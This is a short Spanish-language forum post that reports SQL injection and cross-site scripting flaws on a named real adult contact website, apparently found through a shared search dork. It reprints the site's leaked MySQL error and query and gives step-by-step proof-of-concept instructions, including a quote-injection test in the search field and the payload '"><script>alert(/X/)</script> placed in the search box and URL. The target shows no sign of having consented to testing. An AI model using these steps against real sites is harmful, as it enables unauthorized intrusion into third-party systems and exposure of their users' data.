Mientras jugaba con tu dork, me di cuenta que britishsexcontacts[.]com es vulnerable a SQL INJECTION y XSS
--> SQL INJECTION
You are not allowed to view links.
Register or
Login'
[!] ERROR SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 1' at line 1
SELECT Filename, Filename_Private FROM qdgirls WHERE ID = 47486' LIMIT 1;
-->XSS y SQL INJECTION
PoC_1
1.- En la pagina principal (You are not allowed to view links.
Register or
Login) esta un apartado para realizar busquedas (quiero creer que de usuarios)
2.- Una vez identificado esta seccion ponemos una comilla simple ' y nos notificara el error SQL, el cual puede nos permite realizar una inyeccion
3.- En este mismo apartado ingresamos el payload de javascript '"><script>alert(/X/)</script> y nos levatara el alert
:3
--> XSS
PoC
1.- ingresamos a la pagina principal (You are not allowed to view links.
Register or
Login)
2.- Ya una vez dentro de la pagina, a la URL le agregamos /'"><script>alert(/X/)</script> para que nos quede de la siguiente forma: You are not allowed to view links.
Register or
Login'"><script>alert(/X/)</script> y listo
This site uses cookies own and third. If you continue to browse consider to accept the use of cookies.